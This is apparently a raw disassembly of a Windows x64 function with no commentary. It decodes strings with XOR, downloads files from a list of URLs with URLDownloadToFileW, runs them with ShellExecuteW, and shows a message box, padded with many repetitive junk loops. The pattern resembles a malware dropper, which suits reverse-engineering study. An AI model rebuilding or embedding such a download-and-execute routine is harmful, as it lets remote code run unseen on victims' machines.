mov rax, qword [rbp - 0x10]
movzx eax, word [rax + rcx - 0x1c]
mov word [rcx - 4], ax
cmp edx, 0xe
jb 0x14000d060
mov rsi, qword [rbp - 8]
xor edi, edi
mov r14, qword [rbp - 0x50]
mov r15d, dword [rbp + 0x598]
mov r12, qword [rbp]
mov r13d, 0x178
mov rax, qword gs:[0x58]
mov r10d, 0x148
mov r9, qword [rax + rsi*8]
cmp byte [r10 + r9 + 0xa], 0
jne 0x14000d143
lea r8, [r10 + r9]
mov edx, edi
nop
movsxd rcx, edx
lea eax, [rdx + 0x79]
inc edx
xor word [r8 + rcx*2 + 0xc], ax
cmp edx, 0xe
jb 0x14000d130
lea r8, [r10 + 0xc]
mov byte [r10 + r9 + 0xa], 1
add r8, r9
lea eax, [r15 + 1]
lea r9, [rbp + 0x320]
mov dword [rsp + 0x20], eax
mov edx, 0x104
lea rcx, [rbp + 0x110]
call fcn.14001a250
mov ebx, edi
lea rdx, [0x140049ee8]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x140049ed8]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000d172
mov ebx, edi
nop dword [rax]
lea rdx, [0x140049f08]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x140049ef8]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000d1c0
mov ebx, edi
nop word [rax + rax]
lea rdx, [0x140049f28]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x140049f18]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000d210
mov ebx, edi
nop word [rax + rax]
lea rdx, [0x140049f48]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x140049f38]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000d260
mov ebx, edi
nop word [rax + rax]
lea rdx, [0x140049f68]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x140049f58]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000d2b0
mov ebx, edi
nop word [rax + rax]
lea rdx, [0x140049f88]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x140049f78]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000d300
mov ebx, edi
nop word [rax + rax]
lea rdx, [0x140049fa8]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x140049f98]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000d350
mov ebx, edi
nop word [rax + rax]
lea rdx, [0x140049fc8]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x140049fb8]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000d3a0
mov ebx, edi
nop word [rax + rax]
lea rdx, [0x140049fe8]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x140049fd8]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000d3f0
mov rax, qword [rbp + 0x588]
lea r8, [rbp + 0x110]
xor r9d, r9d
mov qword [rsp + 0x20], rdi
xor ecx, ecx
mov rdx, qword [rax + r14*8]
call sub.urlmon.dll_URLDownloadToFileW
mov edi, eax
xor ebx, ebx
nop dword [rax]
lea rdx, [0x14004a008]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x140049ff8]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000d460
xor ebx, ebx
nop word [rax + rax]
lea rdx, [0x14004a028]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x14004a018]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000d4b0
xor ebx, ebx
nop word [rax + rax]
lea rdx, [0x14004a048]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x14004a038]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000d500
test edi, edi
js 0x14000da7d
xor edi, edi
mov ebx, edi
nop dword [rax]
nop dword [rax + rax]
lea rdx, [0x14004a068]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x14004a058]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000d560
mov ebx, edi
nop word [rax + rax]
lea rdx, [0x14004a088]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x14004a078]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000d5b0
mov ebx, edi
nop word [rax + rax]
lea rdx, [0x14004a0a8]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x14004a098]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000d600
mov ebx, edi
nop word [rax + rax]
lea rdx, [0x14004a0c8]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x14004a0b8]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000d650
mov ebx, edi
nop word [rax + rax]
lea rdx, [0x14004a0e8]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x14004a0d8]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000d6a0
mov ebx, edi
nop word [rax + rax]
lea rdx, [0x14004a108]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x14004a0f8]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000d6f0
mov ebx, edi
nop word [rax + rax]
lea rdx, [0x14004a128]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x14004a118]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000d740
mov rax, qword gs:[0x58]
mov rcx, qword [rax + rsi*8]
mov eax, 0x190
mov edx, eax
mov eax, dword [rax + rcx]
test al, 1
jne 0x14000d848
movups xmm0, xmmword [0x14004ae30]
or eax, 1
lea r8, [rsp + 0x5c]
mov dword [rdx + rcx], eax
lea r9, [rsp + 0x50]
mov eax, r13d
lea r10, [rsp + 0x52]
add rax, rcx
movaps xmmword [rsp + 0x50], xmm0
movsd xmm0, qword [0x14004ae40]
lea r11, [rsp + 0x54]
xor ecx, ecx
movsd qword [rsp + 0x60], xmm0
sub r8, rax
lea rbx, [rsp + 0x56]
mov qword [rax], rdi
sub r9, rax
mov word [rax + 8], di
sub r10, rax
mov byte [rax + 0xa], dil
sub r11, rax
mov qword [rax + 0xc], rcx
mov edx, edi
mov word [rax + 0x14], cx
sub rbx, rax
lea rcx, [rax + 0xe]
movzx eax, word [rcx + r8 - 0xe]
add edx, 5
mov word [rcx - 2], ax
movzx eax, word [r9 + rcx]
mov word [rcx], ax
movzx eax, word [r10 + rcx]
mov word [rcx + 2], ax
movzx eax, word [r11 + rcx]
mov word [rcx + 4], ax
movzx eax, word [rbx + rcx]
mov word [rcx + 6], ax
lea rcx, [rcx + 0xa]
cmp edx, 5
jb 0x14000d810
mov rax, qword gs:[0x58]
mov r8d, r13d
add r8, qword [rax + rsi*8]
cmp byte [r8 + 0xa], dil
jne 0x14000d873
mov edx, edi
movsxd rcx, edx
lea eax, [rdx + 0x7a]
inc edx
xor word [r8 + rcx*2 + 0xc], ax
cmp edx, 5
jb 0x14000d860
mov byte [r8 + 0xa], 1
lea rdx, [r8 + 0xc]
lea r8, [rbp + 0x110]
mov dword [rsp + 0x28], 1
xor r9d, r9d
mov qword [rsp + 0x20], rdi
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov ebx, edi
nop dword [rax]
lea rdx, [0x14004a148]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x14004a138]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000d8a0
mov ebx, edi
nop word [rax + rax]
lea rdx, [0x14004a168]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x14004a158]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000d8f0
mov ebx, edi
nop word [rax + rax]
lea rdx, [0x14004a188]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x14004a178]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000d940
mov ebx, edi
nop word [rax + rax]
lea rdx, [0x14004a1a8]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x14004a198]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000d990
mov ebx, edi
nop word [rax + rax]
lea rdx, [0x14004a1c8]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x14004a1b8]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000d9e0
mov ebx, edi
nop word [rax + rax]
lea rdx, [0x14004a1e8]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x14004a1d8]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000da30
jmp 0x14000e1b8
xor edi, edi
mov ebx, edi
lea rdx, [0x14004a208]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x14004a1f8]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000da81
mov ebx, edi
nop dword [rax + rax]
lea rdx, [0x14004a228]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x14004a218]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000dad0
mov ebx, edi
nop word [rax + rax]
lea rdx, [0x14004a248]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x14004a238]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000db20
mov ebx, edi
nop word [rax + rax]
lea rdx, [0x14004a268]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x14004a258]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000db70
mov ebx, edi
nop word [rax + rax]
lea rdx, [0x14004a288]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x14004a278]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000dbc0
mov ebx, edi
nop word [rax + rax]
lea rdx, [0x14004a2a8]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x14004a298]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000dc10
mov ebx, edi
nop word [rax + rax]
lea rdx, [0x14004a2c8]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x14004a2b8]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000dc60
mov ebx, edi
nop word [rax + rax]
lea rdx, [0x14004a2e8]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x14004a2d8]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000dcb0
mov ebx, edi
nop word [rax + rax]
lea rdx, [0x14004a308]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x14004a2f8]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000dd00
mov rax, qword gs:[0x58]
mov rcx, qword [rax + rsi*8]
mov eax, 0x208
mov edx, eax
mov eax, dword [rax + rcx]
test al, 1
jne 0x14000de13
movups xmm0, xmmword [0x14004ae98]
or eax, 1
lea r8, [rbp - 0x34]
mov dword [rdx + rcx], eax
lea r9, [rbp - 0x40]
mov edx, edi
mov eax, 0x1f0
add rax, rcx
movaps xmmword [rbp - 0x40], xmm0
movsd xmm0, qword [0x14004aea8]
lea r10, [rbp - 0x3e]
xor ecx, ecx
movsd qword [rbp - 0x30], xmm0
lea r11, [rbp - 0x3c]
sub r8, rax
mov qword [rax], rdi
lea rbx, [rbp - 0x3a]
mov word [rax + 8], di
sub r9, rax
mov byte [rax + 0xa], dil
sub r10, rax
mov qword [rax + 0xc], rcx
lea rdi, [rbp - 0x38]
sub r11, rax
mov dword [rax + 0x14], ecx
sub rbx, rax
lea rcx, [rax + 0xe]
sub rdi, rax
movzx eax, word [rcx + r8 - 0xe]
add edx, 6
mov word [rcx - 2], ax
movzx eax, word [r9 + rcx]
mov word [rcx], ax
movzx eax, word [r10 + rcx]
mov word [rcx + 2], ax
movzx eax, word [r11 + rcx]
mov word [rcx + 4], ax
movzx eax, word [rbx + rcx]
mov word [rcx + 6], ax
movzx eax, word [rdi + rcx]
mov word [rcx + 8], ax
lea rcx, [rcx + 0xc]
cmp edx, 6
jb 0x14000ddd1
xor edi, edi
mov rax, qword gs:[0x58]
mov r8d, 0x1f0
add r8, qword [rax + rsi*8]
cmp byte [r8 + 0xa], 0
jne 0x14000de43
mov edx, edi
nop
movsxd rcx, edx
lea eax, [rdx + 0x7b]
inc edx
xor word [r8 + rcx*2 + 0xc], ax
cmp edx, 6
jb 0x14000de30
lea rcx, [rbp + 0x598]
mov byte [r8 + 0xa], 1
lea r11, [r8 + 0xc]
call fcn.140007570
cmp byte [rax + 0xa], 0
jne 0x14000de76
mov r9d, edi
movsxd rdx, r9d
lea ecx, [r9 + 0x7a]
inc r9d
xor word [rax + rdx*2 + 0xc], cx
cmp r9d, 0x1d
jb 0x14000de61
mov rcx, qword [rbp + 0x580]
lea rdx, [rax + 0xc]
mov r9d, 0x10
mov byte [rax + 0xa], 1
mov r8, r11
call qword [sym.imp.USER32.dll_MessageBoxW]
mov ebx, edi
nop word [rax + rax]
lea rdx, [0x14004a328]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x14004a318]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000dea0
mov ebx, edi
nop word [rax + rax]
lea rdx, [0x14004a348]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x14004a338]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000def0
mov ebx, edi
nop word [rax + rax]
lea rdx, [0x14004a368]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x14004a358]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000df40
mov ebx, edi
nop word [rax + rax]
lea rdx, [0x14004a388]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x14004a378]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000df90
mov ebx, edi
nop word [rax + rax]
lea rdx, [0x14004a3a8]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x14004a398]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000dfe0
mov ebx, edi
nop word [rax + rax]
lea rdx, [0x14004a3c8]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x14004a3b8]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000e030
mov ebx, edi
nop word [rax + rax]
lea rdx, [0x14004a3e8]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x14004a3d8]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000e080
mov ebx, edi
nop word [rax + rax]
lea rdx, [0x14004a408]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x14004a3f8]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000e0d0
mov ebx, edi
nop word [rax + rax]
lea rdx, [0x14004a428]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x14004a418]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000e120
mov ebx, edi
nop word [rax + rax]
lea rdx, [0x14004a448]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x14004a438]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000e170
inc r15d
inc r14
mov dword [rbp + 0x598], r15d
mov qword [rbp - 0x50], r14
cmp r14, r12
jl 0x14000cc60
mov r15, qword [rsp + 0x638]
add rsp, 0x640
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret